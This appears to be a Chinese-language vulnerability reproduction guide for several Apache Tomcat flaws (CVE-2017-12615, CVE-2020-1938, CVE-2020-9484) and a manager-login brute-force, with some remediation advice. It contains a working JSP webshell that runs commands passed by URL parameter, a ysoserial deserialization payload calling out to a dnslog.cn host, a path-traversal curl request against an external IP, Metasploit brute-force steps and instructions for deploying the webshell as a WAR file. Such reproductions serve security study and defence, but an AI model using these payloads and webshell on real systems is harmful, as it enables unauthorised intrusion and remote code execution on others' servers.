总字符数: 7.67K

代码: 0.57K, 文本: 2.05K

预计阅读时间: 11 分钟

Tomcat PUT方法 任意写入文件(CVE-2017-12615)

漏洞概述

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件.之后,JSP 文件中的代码将能被服务器执行.
影响版本:

  • Apache Tomcat 7.0.0 – 7.0.81

漏洞复现

方法一

直接发送以下数据包即可在Web根目录写入shell


http://192.168.2.188:8080/1.jsp?pwd=023&i=whoami

方法二(适用于Windows系统)

添加文件名2.jsp%20,添加shell脚本

方法三(适用于Windows系统)

添加文件名3.jsp::$DATA,添加shell脚本

修复建议

  • 设置conf/webxml 文件的 readOnly 值为 Ture 或注释参数
  • 禁用 PUT 方法并重启 tomcat 服务(如果禁用 PUT 方法,对于依赖PUT方法的应用,可能导致业务失效.)
  • 升级到最新版本
  • 使用WAF产品进行防御

Tomcat AJP 任意文件读取/包含漏洞(CVE-2020-1938)

漏洞概述

Java是目前Web开发中最流行的编程语言,Tomcat是最流行的Java中间件服务器之一.自首次发布以来,它已经使用了 20 多年.
Ghostcat是长亭科技安全研究员发现的 Tomcat 中的一个严重漏洞.由于 Tomcat AJP 协议中的缺陷,攻击者可以读取或包含 Tomcat 的 webapp 目录中的任何文件.例如,攻击者可以读取 webapp 配置文件或源代码.此外,如果目标Web应用程序具有文件上传功能,攻击者可能通过Ghostcat漏洞利用文件包含在目标主机上执行恶意代码.
影响版本:

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

漏洞复现

工具:

-
- GitHub - nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC: CNVD-2020-10487(CVE-2020-1938), tomcat ajp 文件读取漏洞poc

使用其中任意一个POC文件进行验证,读取WEB-INF/web.xml文件必须使用python2


读取ROOT目录下的build.xml文件内容

可以看到,均可以成功读取.

修复建议

未使用Tomcat AJP协议

可以直接将 Tomcat 升级到 9.0.31、8.5.51或 7.0.100 版本进行漏洞修复.
如无法立即进行版本更新、或者是更老版本的用户,建议直接关闭AJPConnector,或将其监听地址改为仅监听本机localhost.
具体操作:

  1. 编辑<CATALINA_BASE>/conf/server.xml,找到如下行(<CATALINA_BASE> 为 Tomcat 的工作目录):

<Connector port="8009"protocol="AJP/1.3"redirectPort="8443"/>

  1. 将此行注释掉(也可删掉该行):

<!--<Connectorport="8009"protocol="AJP/1.3"redirectPort="8443"/>-->

  1. 保存后需重新启动,规则方可生效.

使用了Tomcat AJP协议

建议将Tomcat立即升级到9.0.31、8.5.51或7.0.100版本进行修复,同时为AJP Connector配置secret来设置AJP协议的认证凭证.例如(注意必须将``YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值):<br /><Connector port=”8009”protocol=”AJP/1.3”redirectPort=”8443”address=”YOUR_TOMCAT_IP_ADDRESS”secret=”YOUR_TOMCAT_AJP_SECRET”/>`

Tomcat Session反序列化漏洞复现(cve_2020_9484)

漏洞概述

Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484.

Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器.当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击.

成功利用此漏洞需要同时满足以下4个条件:

  1. 攻击者能够控制服务器上文件的内容和文件名称

  2. 服务器PersistenceManager配置中使用了FileStore

  3. PersistenceManager中的sessionAttributeValueClassNameFilter被配置为”null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

  4. 攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

影响版本

  1. Apache Tomcat 10.0.0-M1-10.0.0-M4

  2. Apache Tomcat 9.0.0.M1-9.0.34

  3. Apache Tomcat 8.5.0-8.5.54

  4. Apache Tomcat 7.0.0-7.0.103

漏洞复现

  1. 下载ysoserial,生成payload

    1
    java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 "ping http://8iwrku.dnslog.cn" > /tmp/test.session
  2. 或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件

    1
    curl 'http://123.58.224.8:8472/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

Tomcat8

访问http://192.168.2.188:8080/,可以看到环境已经启动成功


尝试登录问题页面,发现需要输入密码,使用BURP抓包,发现并抓不到包,此时使用msf

1
2
3
4
5
msfconsole
search tomcat
use 25
set rhosts 192.168.2.188
run

使用爆破后的账号密码登录后台管理页面,然后访问http://192.168.2.188:8080/manager/html/list


创建shell.jsp

1
2
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("
<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

生成war包木马
jar cvf shell.war shell.jsp


尝试上传文件

上传jsp一句话木马,打包为war格式,上传出现报错,403是无权访问不代表没有

返回,发现已经上传上去了,如果还没有请重新尝试
访问http://192.168.2.188:8080/shell/shell.jsp?pwd=023&i=whoami